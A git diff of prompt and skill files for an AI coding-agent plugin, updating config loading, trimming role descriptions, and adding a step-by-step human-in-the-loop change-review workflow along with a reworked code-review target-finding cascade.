-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
-
-2. **Continue with steps below:**
-   - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
-   - **Greet and present capabilities** — Greet `{user_name}` warmly by name, always speaking in `{communication_language}` and applying your persona throughout the session.
-
-3. Remind the user they can invoke the `bmad-help` skill at any time for advice and then present the capabilities table from the Capabilities section above.
-
-   **STOP and WAIT for user input** — Do NOT execute menu items automatically. Accept number, menu code, or fuzzy command match.
-
-**CRITICAL Handling:** When user responds with a code, line number or skill, invoke the corresponding skill by its exact registered name from the Capabilities table. DO NOT invent capabilities on the fly.
diff --git a/plugins/bmad/skills/bmad-agent-tech-writer/SKILL.md b/plugins/bmad/skills/bmad-agent-tech-writer/SKILL.md
index 032ea56..5a2e62b 100644
--- a/plugins/bmad/skills/bmad-agent-tech-writer/SKILL.md
+++ b/plugins/bmad/skills/bmad-agent-tech-writer/SKILL.md
@@ -39,10 +39,12 @@ When you are in this persona and the user calls a skill, this persona must carry
 
 ## On Activation
 
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
+1. Load config from `.claude/bmad.local.md` and resolve:
+   - Use `{user_name}` for greeting
+   - Use `{communication_language}` for all communications
+   - Use `{document_output_language}` for output documents
+   - Use `{planning_artifacts}` for output location and artifact scanning
+   - Use `{project_knowledge}` for additional context scanning
 
 2. **Continue with steps below:**
    - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
diff --git a/plugins/bmad/skills/bmad-agent-ux-designer/SKILL.md b/plugins/bmad/skills/bmad-agent-ux-designer/SKILL.md
index 2ef4b8c..2fdaa40 100644
--- a/plugins/bmad/skills/bmad-agent-ux-designer/SKILL.md
+++ b/plugins/bmad/skills/bmad-agent-ux-designer/SKILL.md
@@ -37,10 +37,12 @@ When you are in this persona and the user calls a skill, this persona must carry
 
 ## On Activation
 
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
+1. Load config from `.claude/bmad.local.md` and resolve:
+   - Use `{user_name}` for greeting
+   - Use `{communication_language}` for all communications
+   - Use `{document_output_language}` for output documents
+   - Use `{planning_artifacts}` for output location and artifact scanning
+   - Use `{project_knowledge}` for additional context scanning
 
 2. **Continue with steps below:**
    - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
diff --git a/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-01-document-discovery.md b/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-01-document-discovery.md
index a4c524c..8b96d33 100644
--- a/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-01-document-discovery.md
+++ b/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-01-document-discovery.md
@@ -20,7 +20,7 @@ To discover, inventory, and organize all project documents, identifying duplicat
 
 ### Role Reinforcement:
 
-- ✅ You are an expert Product Manager and Scrum Master
+- ✅ You are an expert Product Manager
 - ✅ Your focus is on finding organizing and documenting what exists
 - ✅ You identify ambiguities and ask for clarification
 - ✅ Success is measured in clear file inventory and conflict resolution
diff --git a/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-02-prd-analysis.md b/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-02-prd-analysis.md
index 85cadc4..7aa77de 100644
--- a/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-02-prd-analysis.md
+++ b/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-02-prd-analysis.md
@@ -21,7 +21,7 @@ To fully read and analyze the PRD document (whole or sharded) to extract all Fun
 
 ### Role Reinforcement:
 
-- ✅ You are an expert Product Manager and Scrum Master
+- ✅ You are an expert Product Manager
 - ✅ Your expertise is in requirements analysis and traceability
 - ✅ You think critically about requirement completeness
 - ✅ Success is measured in thorough requirement extraction
diff --git a/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-03-epic-coverage-validation.md b/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-03-epic-coverage-validation.md
index 961ee74..2641532 100644
--- a/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-03-epic-coverage-validation.md
+++ b/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-03-epic-coverage-validation.md
@@ -20,7 +20,7 @@ To validate that all Functional Requirements from the PRD are captured in the ep
 
 ### Role Reinforcement:
 
-- ✅ You are an expert Product Manager and Scrum Master
+- ✅ You are an expert Product Manager
 - ✅ Your expertise is in requirements traceability
 - ✅ You ensure no requirements fall through the cracks
 - ✅ Success is measured in complete FR coverage
diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/SKILL.md b/plugins/bmad/skills/bmad-checkpoint-preview/SKILL.md
new file mode 100644
index 0000000..bda5532
--- /dev/null
+++ b/plugins/bmad/skills/bmad-checkpoint-preview/SKILL.md
@@ -0,0 +1,29 @@
+---
+name: bmad-checkpoint-preview
+description: 'LLM-assisted human-in-the-loop review. Make sense of a change, focus attention where it matters, test. Use when the user says "checkpoint", "human review", or "walk me through this change".'
+---
+
+# Checkpoint Review Workflow
+
+**Goal:** Guide a human through reviewing a change — from purpose and context into details.
+
+You are assisting the user in reviewing a change.
+
+## Global Step Rules (apply to every step)
+
+- **Path:line format** — Every code reference must use CWD-relative `path:line` format (no leading `/`) so it is clickable in IDE-embedded terminals (e.g., `src/auth/middleware.ts:42`).
+- **Front-load then shut up** — Present the entire output for the current step in a single coherent message. Do not ask questions mid-step, do not drip-feed, do not pause between sections.
+- **Language** — Speak in `{communication_language}`. Write any file output in `{document_output_language}`.
+
+## INITIALIZATION
+
+Load and read full config from `.claude/bmad.local.md` and resolve:
+
+- `implementation_artifacts`
+- `planning_artifacts`
+- `communication_language`
+- `document_output_language`
+
+## FIRST STEP
+
+Read fully and follow `./step-01-orientation.md` to begin.
diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/generate-trail.md b/plugins/bmad/skills/bmad-checkpoint-preview/generate-trail.md
new file mode 100644
index 0000000..6fd378b
--- /dev/null
+++ b/plugins/bmad/skills/bmad-checkpoint-preview/generate-trail.md
@@ -0,0 +1,38 @@
+# Generate Review Trail
+
+Generate a review trail from the diff and codebase context. A generated trail is lower quality than an author-produced one, but far better than none.
+
+## Follow Global Step Rules in SKILL.md
+
+## INSTRUCTIONS
+
+1. Get the full diff against the appropriate baseline (same rules as Surface Area Stats in step-01).
+2. Read changed files in full — not just diff hunks. Surrounding code reveals intent that hunks alone miss. If total file content exceeds ~50k tokens, read only the files with the largest diff hunks in full and use hunks for the rest.
+3. If a spec exists, use its Intent section to anchor concern identification.
+4. Identify 2–5 concerns: cohesive design intents that each explain *why* behind a cluster of changes. Prefer functional groupings and architectural boundaries over file-level splits. A single-concern change is fine — don't invent groupings.
+5. For each concern, select 1–4 `path:line` stops — locations where the concern is most visible. Prefer entry points, decision points, and boundary crossings over mechanical changes.
+6. Lead with the entry point — the highest-leverage stop a reviewer should see first. Inside each concern, order stops so each builds on the previous. End with peripherals (tests, config, types).
+7. Format each stop using `path:line` per the global step rules:
+
+```
+**{Concern name}**
+
+- {one-line framing, ≤15 words}
+  `src/path/to/file.ts:42`
+```
+
+When there is only one concern, omit the bold label — just list the stops directly.
+
+## PRESENT
+
+Output after the orientation:
+
+```
+I built a review trail for this {change_type} (no author-produced trail was found):
+
+{generated trail}
+```
+
+The generated trail serves as the Suggested Review Order for subsequent steps. Set `review_mode` to `full-trail` — a trail now exists, so all downstream steps should treat it as one.
+
+If git is unavailable or the diff cannot be retrieved, return to step-01 with: "Could not generate trail — git unavailable."
diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/step-01-orientation.md b/plugins/bmad/skills/bmad-checkpoint-preview/step-01-orientation.md
new file mode 100644
index 0000000..26f3554
--- /dev/null
+++ b/plugins/bmad/skills/bmad-checkpoint-preview/step-01-orientation.md
@@ -0,0 +1,105 @@
+# Step 1: Orientation
+
+Display: `[Orientation] → Walkthrough → Detail Pass → Testing`
+
+## Follow Global Step Rules in SKILL.md
+
+## FIND THE CHANGE
+
+The conversation context before this skill was triggered IS your starting point — not a blank slate. Check in this order — stop as soon as the change is identified:
+
+1. **Explicit argument**
+   Did the user pass a PR, commit SHA, branch, or spec file this message?
+   - PR reference → resolve to branch/commit via `gh pr view`. If resolution fails, ask for a SHA or branch.
+   - Spec file, commit, or branch → use directly.
+
+2. **Recent conversation**
+   Do the last few messages reveal what change the user wants reviewed? Look for spec paths, commit refs, branches, PRs, or descriptions of a change. Use the same routing as above.
+
+3. **Sprint tracking**
+   Check for a sprint status file (`*sprint-status*`) in `{implementation_artifacts}` or `{planning_artifacts}`. If found, scan for stories with status `review`:
+   - Exactly one → suggest it and confirm with the user.
+   - Multiple → present as numbered options.
+   - None → fall through.
+
+4. **Current git state**
+   Check current branch and HEAD. Confirm: "I see HEAD is `<short-sha>` on `<branch>` — is this the change you want to review?"
+
+5. **Ask**
+   If none of the above identified a change, ask:
+   - What changed and why?
+   - Which commit, branch, or PR should I look at?
+   - Do you have a spec, bug report, or anything else that explains what this change is supposed to do?
+
+   If after 3 exchanges you still can't identify a change, HALT.
+
+Never ask extra questions beyond what the cascade prescribes. If a step above already identified the change, skip the remaining steps.
+
+## ENRICH
+
+Once a change is identified from any source above, fill in the complementary artifact:
+
+- If you have a spec, look for `baseline_commit` in its frontmatter to determine the diff baseline.
+- If you have a commit or branch, check `{implementation_artifacts}` for a spec whose `baseline_commit` is an ancestor of that commit/branch (i.e., the spec describes work done on top of that baseline).
+- If you found both a spec and a commit/branch, use both.
+
+## DETERMINE WHAT YOU HAVE
+
+Set `change_type` to match how the user referred to the change — `PR`, `commit`, `branch`, or their own words (e.g. `auth refactor`). Default to `change` if ambiguous.
+
+Set `review_mode` — pick the first match:
+
+1. **`full-trail`** — ENRICH found a spec with a `## Suggested Review Order` section. Intent source: spec's Intent section.
+2. **`spec-only`** — ENRICH found a spec but it has no Suggested Review Order. Intent source: spec's Intent section.
+3. **`bare-commit`** — no spec found. Intent source: commit message. If the commit message is terse (under 10 words), scan the diff for the primary change pattern and draft a one-sentence intent. Flag it as `[inferred]` in the output so the user can correct it.
+
+## PRODUCE ORIENTATION
+
+### Intent Summary
+
+- If intent comes from a spec's Intent section, display it verbatim regardless of length — it's already written to be concise.
+- For other sources (commit messages, bug reports, user description): if ≤200 tokens, display verbatim. If longer, distill to ≤200 tokens. Link to the full source when one exists (e.g. a file path or URL).
+- Format: `> **Intent:** {summary}`
+
+### Surface Area Stats
+
+Best-effort stats derived from the diff. Try these baselines in order:
+
+1. `baseline_commit` from the spec's frontmatter.
+2. Branch merge-base against `main` (or the default branch).
+3. `HEAD~1..HEAD` (latest commit only — tell the user).
+4. If git is unavailable or all of the above fail, skip stats and note: "Could not compute stats."
+
+Use `git diff --stat` and `git diff --numstat` for file-level counts, and scan the full diff content for the richer metrics.
+
+Display as:
+
+```
+N files changed · M modules touched · ~L lines of logic · B boundary crossings · P new public interfaces
+```
+
+- **Files changed**: count from `git diff --stat`.
+- **Modules touched**: distinct top-level directories with changes (from `--stat` file paths).
+- **Lines of logic**: added/modified lines excluding blanks, imports, formatting. Scan diff content; `~` because approximate.
+- **Boundary crossings**: changes spanning more than one top-level module. `0` if single module.
+- **New public interfaces**: new exports, endpoints, public methods found in the diff. `0` if none.
+
+Omit any metric you cannot compute rather than guessing.
+
+### Present
+
+```
+[Orientation] → Walkthrough → Detail Pass → Testing
+
+> **Intent:** {intent_summary}
+
+{stats line}
+```
+
+## FALLBACK TRAIL GENERATION
+
+If review mode is not `full-trail`, read fully and follow `./generate-trail.md` to build one from the diff. Then return here and continue to NEXT. If trail generation fails (e.g., git unavailable), the original review mode is preserved — step-02 handles this with its non-trail path.
+
+## NEXT
+
+Read fully and follow `./step-02-walkthrough.md`
diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/step-02-walkthrough.md b/plugins/bmad/skills/bmad-checkpoint-preview/step-02-walkthrough.md
new file mode 100644
index 0000000..aec40c4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-checkpoint-preview/step-02-walkthrough.md
@@ -0,0 +1,89 @@
+# Step 2: Walkthrough
+
+Display: `Orientation → [Walkthrough] → Detail Pass → Testing`
+
+## Follow Global Step Rules in SKILL.md
+
+- Organize by **concern**, not by file. A concern is a cohesive design intent — e.g., "input validation," "state management," "API contract." One file may appear under multiple concerns; one concern may span multiple files.
+- The walkthrough activates **design judgment**, not correctness checking. Frame each concern as "here's what this change does and why" — the human evaluates whether it's the right approach for the system.
+
+## BUILD THE WALKTHROUGH
+
+### Identify Concerns
+
+**With Suggested Review Order** (`full-trail` mode — the normal path, including when step-01 generated a trail):
+
+1. Read the Suggested Review Order stops from the spec (or from conversation context if generated by step-01 fallback).
+2. Resolve each stop to a file in the current repo. Output in `path:line` format per the standing rule.
+3. Read the diff to understand what each stop actually does.
+4. Group stops by concern. Stops that share a design intent belong together even if they're in different files. A stop may appear under multiple concerns if it serves multiple purposes.
+
+**Without Suggested Review Order** (fallback when trail generation failed, e.g., git unavailable):
+
+1. Get the diff against the appropriate baseline (same rules as step 1).
+2. Identify concerns by reading the diff for cohesive design intents:
+   - Functional groupings — what user-facing behavior does each cluster of changes support?
+   - Architectural layers — does the change cross boundaries (API → service → data)?
+   - Design decisions — where did the author choose between alternatives?
+3. For each concern, identify the key code locations as `path:line` stops.
+
+### Order for Comprehension
+
+Sequence concerns top-down: start with the highest-level intent (the "what and why"), then drill into supporting implementation. Within each concern, order stops so each one builds on the previous. The reader should never encounter a reference to something they haven't seen yet.
+
+If the change has a natural entry point (e.g., a new public API, a config change, a UI entry point), lead with it.
+
+### Write Each Concern
+
+For each concern, produce:
+
+1. **Heading** — a short phrase naming the design intent (not a file name, not a module name).
+2. **Why** — 1–2 sentences: what problem this concern addresses, why this approach was chosen over alternatives. If the spec documents rejected alternatives, reference them here.
+3. **Stops** — each stop on its own line: `path:line` followed by a brief phrase (not a sentence) describing what this location does for the concern. Keep framing under 15 words per stop.
+
+Target 2–5 concerns for a typical change. A single-concern change is fine — don't invent groupings. A change with more than 7 concerns is a signal the scope may be too large, but present it anyway.
+
+## PRESENT
+
+Output the full walkthrough as a single message with this structure:
+
+```
+Orientation → [Walkthrough] → Detail Pass → Testing
+```
+
+Then each concern group using this format:
+
+```
+### {Concern Heading}
+
+{Why — 1–2 sentences}
+
+- `path:line` — {brief framing}
+- `path:line` — {brief framing}
+- ...
+```
+
+End the message with:
+
+```
+---
+
+Take your time — click through the stops, read the diff, trace the logic. While you are reviewing, you can:
+- "run advanced elicitation on the error handling"
+- "party mode on whether this schema migration is safe"
+- or just ask anything
+
+When you're ready, say **next** and I'll surface the highest-risk spots.
+```
+
+## EARLY EXIT
+
+If at any point the human signals they want to make a decision about this {change_type} (e.g., "let's ship it", "this needs a rethink", "I'm done reviewing", or anything suggesting they're ready to decide), confirm their intent:
+
+- If they want to **approve and ship** → read fully and follow `./step-05-wrapup.md`
+- If they want to **reject and rework** → read fully and follow `./step-05-wrapup.md`
+- If you misread them → acknowledge and continue the current step.
+
+## NEXT
+
+Default: read fully and follow `./step-03-detail-pass.md`
diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/step-03-detail-pass.md b/plugins/bmad/skills/bmad-checkpoint-preview/step-03-detail-pass.md
new file mode 100644
index 0000000..49d8024
--- /dev/null
+++ b/plugins/bmad/skills/bmad-checkpoint-preview/step-03-detail-pass.md
@@ -0,0 +1,106 @@
+# Step 3: Detail Pass
+
+Display: `Orientation → Walkthrough → [Detail Pass] → Testing`
+
+## Follow Global Step Rules in SKILL.md
+
+- The detail pass surfaces what the human should **think about**, not what the code got wrong. Machine hardening already handled correctness. This activates risk awareness.
+- The LLM detects risk category by pattern. The human judges significance. Do not assign severity scores or numeric rankings — ordering by blast radius (below) is sequencing for readability, not a severity judgment.
+- If no high-risk spots exist, say so explicitly. Do not invent findings.
+
+## IDENTIFY RISK SPOTS
+
+Scan the diff for changes touching risk-sensitive patterns. Look for 2–5 spots where a mistake would have the highest blast radius — not the most complex code, but the code where being wrong costs the most.
+
+Risk categories to detect:
+
+- `[auth]` — authentication, authorization, session, token, permission, access control
+- `[public API]` — new/changed endpoints, exports, public methods, interface contracts
+- `[schema]` — database migrations, schema changes, data model modifications, serialization
+- `[billing]` — payment, pricing, subscription, metering, usage tracking
+- `[infra]` — deployment, CI/CD, environment variables, config files, infrastructure
+- `[security]` — input validation, sanitization, crypto, secrets, CORS, CSP
+- `[config]` — feature flags, environment-dependent behavior, defaults
+- `[other]` — anything risk-sensitive that doesn't fit the above (e.g., concurrency, data privacy, backwards compatibility). Use a descriptive tag.
+
+Sequence spots so the highest blast radius comes first (how much breaks if this is wrong), not by diff order or file order. If more than 5 spots qualify, show the top 5 and note: "N additional spots omitted — ask if you want the full list."
+
+If the change has no spots matching these patterns, state: "No high-risk spots found in this change — the diff speaks for itself." Do not force findings.
+
+## SURFACE MACHINE HARDENING FINDINGS
+
+Check whether the spec has a `## Spec Change Log` section with entries (populated by adversarial review loops).
+
+- **If entries exist:** Read them. Surface findings that are instructive for the human reviewer — not bugs that were already fixed, but decisions the review loop flagged that the human should be aware of. Format: brief summary of what was flagged and what was decided.
+- **If no entries or no spec:** Skip this section entirely. Do not mention it.
+
+## PRESENT
+
+Output as a single message:
+
+```
+Orientation → Walkthrough → [Detail Pass] → Testing
+```
+
+### Risk Spots
+
+For each spot, one line:
+
+```
+- `path:line` — [tag] reason-phrase
+```
+
+Example:
+
+```
+- `src/auth/middleware.ts:42` — [auth] New token validation bypasses rate limiter
+- `migrations/003_add_index.sql:7` — [schema] Index on high-write table, check lock behavior
+- `api/routes/billing.ts:118` — [billing] Metering calculation changed, verify idempotency
+```
+
+### Machine Hardening (only if findings exist)
+
+```
+### Machine Hardening
+
+- Finding summary — what was flagged, what was decided
+- ...
+```
+
+### Closing menu
+
+End the message with:
+
+```
+---
+
+You've seen the design and the risk landscape. From here:
+- **"dig into [area]"** — I'll deep-dive that specific area with correctness focus
+- **"next"** — I'll suggest how to observe the behavior
+```
+
+## EARLY EXIT
+
+If at any point the human signals they want to make a decision about this {change_type} (e.g., "let's ship it", "this needs a rethink", "I'm done reviewing", or anything suggesting they're ready to decide), confirm their intent:
+
+- If they want to **approve and ship** → read fully and follow `./step-05-wrapup.md`
+- If they want to **reject and rework** → read fully and follow `./step-05-wrapup.md`
+- If you misread them → acknowledge and continue the current step.
+
+## TARGETED RE-REVIEW
+
+When the human says "dig into [area]" (e.g., "dig into the auth changes", "dig into the schema migration"):
+
+1. If the specified area does not map to any code in the diff, say so: "I don't see [area] in this change — did you mean something else?" Return to the closing menu.
+2. Identify all code locations in the diff relevant to the specified area.
+3. Read each location in full context (not just the diff hunk — read surrounding code).
+4. Shift to **correctness mode**: trace edge cases, check boundary conditions, verify error handling, look for off-by-one errors, race conditions, resource leaks.
+5. Present findings as a compact list — each finding is `path:line` + what you found + why it matters.
+6. If nothing concerning is found, say so: "Looked closely at [area] — nothing concerning. The implementation is solid."
+7. After presenting, show only the closing menu (not the full risk spots list again).
+
+The human can trigger multiple targeted re-reviews. Each time, present new findings and the closing menu only.
+
+## NEXT
+
+Read fully and follow `./step-04-testing.md`
diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/step-04-testing.md b/plugins/bmad/skills/bmad-checkpoint-preview/step-04-testing.md
new file mode 100644
index 0000000..f818079
--- /dev/null
+++ b/plugins/bmad/skills/bmad-checkpoint-preview/step-04-testing.md
@@ -0,0 +1,74 @@
+# Step 4: Testing
+
+Display: `Orientation → Walkthrough → Detail Pass → [Testing]`
+
+## Follow Global Step Rules in SKILL.md
+
+- This is **experiential**, not analytical. The detail pass asked "did you think about X?" — this says "you could see X with your own eyes."
+- Do not prescribe. The human decides whether observing the behavior is worth their time. Frame suggestions as options, not obligations.
+- Do not duplicate CI, test suites, or automated checks. Assume those exist and work. This is about manual observation — the kind of confidence-building no automated test provides.
+- If the change has no user-visible behavior, say so explicitly. Do not invent observations.
+
+## IDENTIFY OBSERVABLE BEHAVIOR
+
+Scan the diff and spec for changes that produce behavior a human could directly observe. Categories to look for:
+
+- **UI changes** — new screens, modified layouts, changed interactions, error states
+- **CLI/terminal output** — new commands, changed output, new flags or options
+- **API responses** — new endpoints, changed payloads, different status codes
+- **State changes** — database records, file system artifacts, config effects
+- **Error paths** — bad input, missing dependencies, edge conditions
+
+For each observable behavior, determine:
+
+1. **What to do** — the specific action (command to run, button to click, request to send)
+2. **What to expect** — the observable result that confirms the change works
+3. **Why bother** — one phrase connecting this observation to the change's intent (omit if obvious from context)
+
+Target 2–5 suggestions for a typical change. If more than 5 qualify, prioritize by how much confidence the observation provides relative to effort. A change with zero observable behavior is fine — do not pad with trivial observations.
+
+## PRESENT
+
+Output as a single message:
+
+```
+Orientation → Walkthrough → Detail Pass → [Testing]
+```
+
+Then the testing suggestions using this format:
+
+```
+### How to See It Working
+
+**{Brief description}**
+Do: {specific action}
+Expect: {observable result}
+
+**{Brief description}**
+Do: {specific action}
+Expect: {observable result}
+```
+
+Include code blocks for commands or requests where helpful.
+
+If the change has no observable behavior, replace the suggestions with:
+
+```
+### How to See It Working
+
+This change is internal — no user-visible behavior to observe. The diff and tests tell the full story.
+```
+
+### Closing
+
+End the message with:
+
+```
+---
+
+You've seen the change and how to verify it. When you're ready to make a call, just say so.
+```
+
+## NEXT
+
+When the human signals they're ready to make a decision about this {change_type}, read fully and follow `./step-05-wrapup.md`
diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/step-05-wrapup.md b/plugins/bmad/skills/bmad-checkpoint-preview/step-05-wrapup.md
new file mode 100644
index 0000000..5f293d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-checkpoint-preview/step-05-wrapup.md
@@ -0,0 +1,24 @@
+# Step 5: Wrap-Up
+
+Display: `Orientation → Walkthrough → Detail Pass → Testing → [Wrap-Up]`
+
+## Follow Global Step Rules in SKILL.md
+
+## PROMPT FOR DECISION
+
+```
+---
+
+Review complete. What's the call on this {change_type}?
+- **Approve** — ship it (I can help with interactive patching first if needed)
+- **Rework** — back to the drawing board (revert, revise the spec, try a different approach)
+- **Discuss** — something's still on your mind
+```
+
+HALT — do not proceed until the user makes their choice.
+
+## ACT ON DECISION
+
+- **Approve**: Acknowledge briefly. If the human wants to patch something before shipping, help apply the fix interactively. If reviewing a PR, offer to approve via `gh pr review --approve` — but confirm with the human before executing, since this is a visible action on a shared resource.
+- **Rework**: Ask what went wrong — was it the approach, the spec, or the implementation? Help the human decide on next steps (revert commit, open an issue, revise the spec, etc.). Help draft specific, actionable feedback tied to `path:line` locations if the change is a PR from someone else.
+- **Discuss**: Open conversation — answer questions, explore concerns, dig into any aspect. After discussion, return to the decision prompt above.
diff --git a/plugins/bmad/skills/bmad-code-review/steps/step-01-gather-context.md b/plugins/bmad/skills/bmad-code-review/steps/step-01-gather-context.md
index 3678d06..22b9fbd 100644
--- a/plugins/bmad/skills/bmad-code-review/steps/step-01-gather-context.md
+++ b/plugins/bmad/skills/bmad-code-review/steps/step-01-gather-context.md
@@ -15,18 +15,37 @@ story_key: '' # set at runtime when discovered from sprint status
 
 ## INSTRUCTIONS
 
-1. **Detect review intent from invocation text.** Check the triggering prompt for phrases that map to a review mode:
-   - "staged" / "staged changes" → Staged changes only
-   - "uncommitted" / "working tree" / "all changes" → Uncommitted changes (staged + unstaged)
-   - "branch diff" / "vs main" / "against main" / "compared to {branch}" → Branch diff (extract base branch if mentioned)
-   - "commit range" / "last N commits" / "{sha}..{sha}" → Specific commit range
-   - "this diff" / "provided diff" / "paste" → User-provided diff (do not match bare "diff" — it appears in other modes)
-   - When multiple phrases match, prefer the most specific match (e.g., "branch diff" over bare "diff").
-   - **If a clear match is found:** Announce the detected mode (e.g., "Detected intent: review staged changes only") and proceed directly to constructing `{diff_output}` using the corresponding sub-case from instruction 3. Skip to instruction 4 (spec question).
-   - **If no match from invocation text, check sprint tracking.** Look for a sprint status file (`*sprint-status*`) in `{implementation_artifacts}` or `{planning_artifacts}`. If found, scan for any story with status `review`. Handle as follows:
-     - **Exactly one `review` story:** Set `{story_key}` to the story's key (e.g., `1-2-user-auth`). Suggest it: "I found story {{story-id}} in `review` status. Would you like to review its changes? [Y] Yes / [N] No, let me choose". If confirmed, use the story context to determine the diff source (branch name derived from story slug, or uncommitted changes). If declined, clear `{story_key}` and fall through to instruction 2.
-     - **Multiple `review` stories:** Present them as numbered options alongside a manual choice option. Wait for user selection. If the user selects a story, set `{story_key}` to the selected story's key and use the selected story's context to determine the diff source as in the single-story case above, and proceed to instruction 3. If the user selects the manual choice, clear `{story_key}` and fall through to instruction 2.
-   - **If no match and no sprint tracking:** Fall through to instruction 2.
+1. **Find the review target.** The conversation context before this skill was triggered IS your starting point — not a blank slate. Check in this order — stop as soon as the review target is identified:
+
+   **Tier 1 — Explicit argument.**
+   Did the user pass a PR, commit SHA, branch, spec file, or diff source this message?
+   - PR reference → resolve to branch/commit via `gh pr view`. If resolution fails, ask for a SHA or branch.
+   - Commit or branch → use directly.
+   - Spec file → set `{spec_file}` to the provided path. Check its frontmatter for `baseline_commit`. If found, use as diff baseline. If not found, continue the cascade (a spec alone does not identify a diff source).
+   - Also scan the argument for diff-mode keywords that narrow the scope:
+     - "staged" / "staged changes" → Staged changes only
+     - "uncommitted" / "working tree" / "all changes" → Uncommitted changes (staged + unstaged)
+     - "branch diff" / "vs main" / "against main" / "compared to <branch>" → Branch diff (extract base branch if mentioned)
+     - "commit range" / "last N commits" / "<from-sha>..<to-sha>" → Specific commit range
+     - "this diff" / "provided diff" / "paste" → User-provided diff (do not match bare "diff" — it appears in other modes)
+   - When multiple keywords match, prefer the most specific (e.g., "branch diff" over bare "diff").
+
+   **Tier 2 — Recent conversation.**
+   Do the last few messages reveal what the user wants to be reviewed? Look for spec paths, commit refs, branches, PRs, or descriptions of a change. Apply the same diff-mode keyword scan and routing as Tier 1.
+
+   **Tier 3 — Sprint tracking.**
+   Look for a sprint status file (`*sprint-status*`) in `{implementation_artifacts}` or `{planning_artifacts}`. If found, scan for stories with status `review`:
+   - **Exactly one `review` story:** Set `{story_key}` to the story's key (e.g., `1-2-user-auth`). Suggest it: "I found story <story-id> in `review` status. Would you like to review its changes? [Y] Yes / [N] No, let me choose". If confirmed, use the story context to determine the diff source (branch name derived from story slug, or uncommitted changes). If declined, clear `{story_key}` and fall through.
+   - **Multiple `review` stories:** Present them as numbered options alongside a manual choice option. Wait for user selection. If a story is selected, set `{story_key}` and use its context to determine the diff source. If manual choice is selected, clear `{story_key}` and fall through.
+   - **None:** Fall through.
+
+   **Tier 4 — Current git state.**
+   If version control is unavailable, skip to Tier 5. Otherwise, check the current branch and HEAD. If the branch is not `main` (or the default branch), confirm: "I see HEAD is `<short-sha>` on `<branch>` — do you want to review this branch's changes?" If confirmed, treat as a branch diff against `main`. If declined, fall through.
+
+   **Tier 5 — Ask.**
+   Fall through to instruction 2.
+
+   Never ask extra questions beyond what the cascade prescribes. If a tier above already identified the target, skip the remaining tiers and proceed to instruction 3 (construct diff).
 
 2. HALT. Ask the user: **What do you want to review?** Present these options:
    - **Uncommitted changes** (staged + unstaged)
@@ -36,15 +55,19 @@ story_key: '' # set at runtime when discovered from sprint status
    - **Provided diff or file list** (user pastes or provides a path)
 
 3. Construct `{diff_output}` from the chosen source.
+   - For **staged changes only**: run `git diff --cached`.
+   - For **uncommitted changes** (staged + unstaged): run `git diff HEAD`.
    - For **branch diff**: verify the base branch exists before running `git diff`. If it does not exist, HALT and ask the user for a valid branch.
    - For **commit range**: verify the range resolves. If it does not, HALT and ask the user for a valid range.
    - For **provided diff**: validate the content is non-empty and parseable as a unified diff. If it is not parseable, HALT and ask the user to provide a valid diff.
    - For **file list**: validate each path exists in the working tree. Construct `{diff_output}` by running `git diff HEAD -- <path1> <path2> ...`. If any paths are untracked (new files not yet staged), use `git diff --no-index /dev/null <path>` to include them. If the diff is empty (files have no uncommitted changes and are not untracked), ask the user whether to review the full file contents or to specify a different baseline.
    - After constructing `{diff_output}`, verify it is non-empty regardless of source type. If empty, HALT and tell the user there is nothing to review.
 
-4. Ask the user: **Is there a spec or story file that provides context for these changes?**
-   - If yes: set `{spec_file}` to the path provided, verify the file exists and is readable, then set `{review_mode}` = `"full"`.
-   - If no: set `{review_mode}` = `"no-spec"`.
+4. **Set the spec context.**
+   - If `{spec_file}` is already set (from Tier 1 or Tier 2): verify the file exists and is readable, then set `{review_mode}` = `"full"`.
+   - Otherwise, ask the user: **Is there a spec or story file that provides context for these changes?**
+     - If yes: set `{spec_file}` to the path provided, verify the file exists and is readable, then set `{review_mode}` = `"full"`.
+     - If no: set `{review_mode}` = `"no-spec"`.
 
 5. If `{review_mode}` = `"full"` and the file at `{spec_file}` has a `context` field in its frontmatter listing additional docs, load each referenced document. Warn the user about any docs that cannot be found.
 
diff --git a/plugins/bmad/skills/bmad-correct-course/checklist.md b/plugins/bmad/skills/bmad-correct-course/checklist.md
index 6fb7c3e..b56feb6 100644
--- a/plugins/bmad/skills/bmad-correct-course/checklist.md
+++ b/plugins/bmad/skills/bmad-correct-course/checklist.md
@@ -217,8 +217,8 @@
 <check-item id="5.5">
 <prompt>Establish agent handoff plan</prompt>
 <action>Identify which roles/agents will execute the changes:</action>
-  - Development team (for implementation)
-  - Product Owner / Scrum Master (for backlog changes)
+  - Developer agent (for implementation)
+  - Product Owner / Developer (for backlog changes)
   - Product Manager / Architect (for strategic changes)
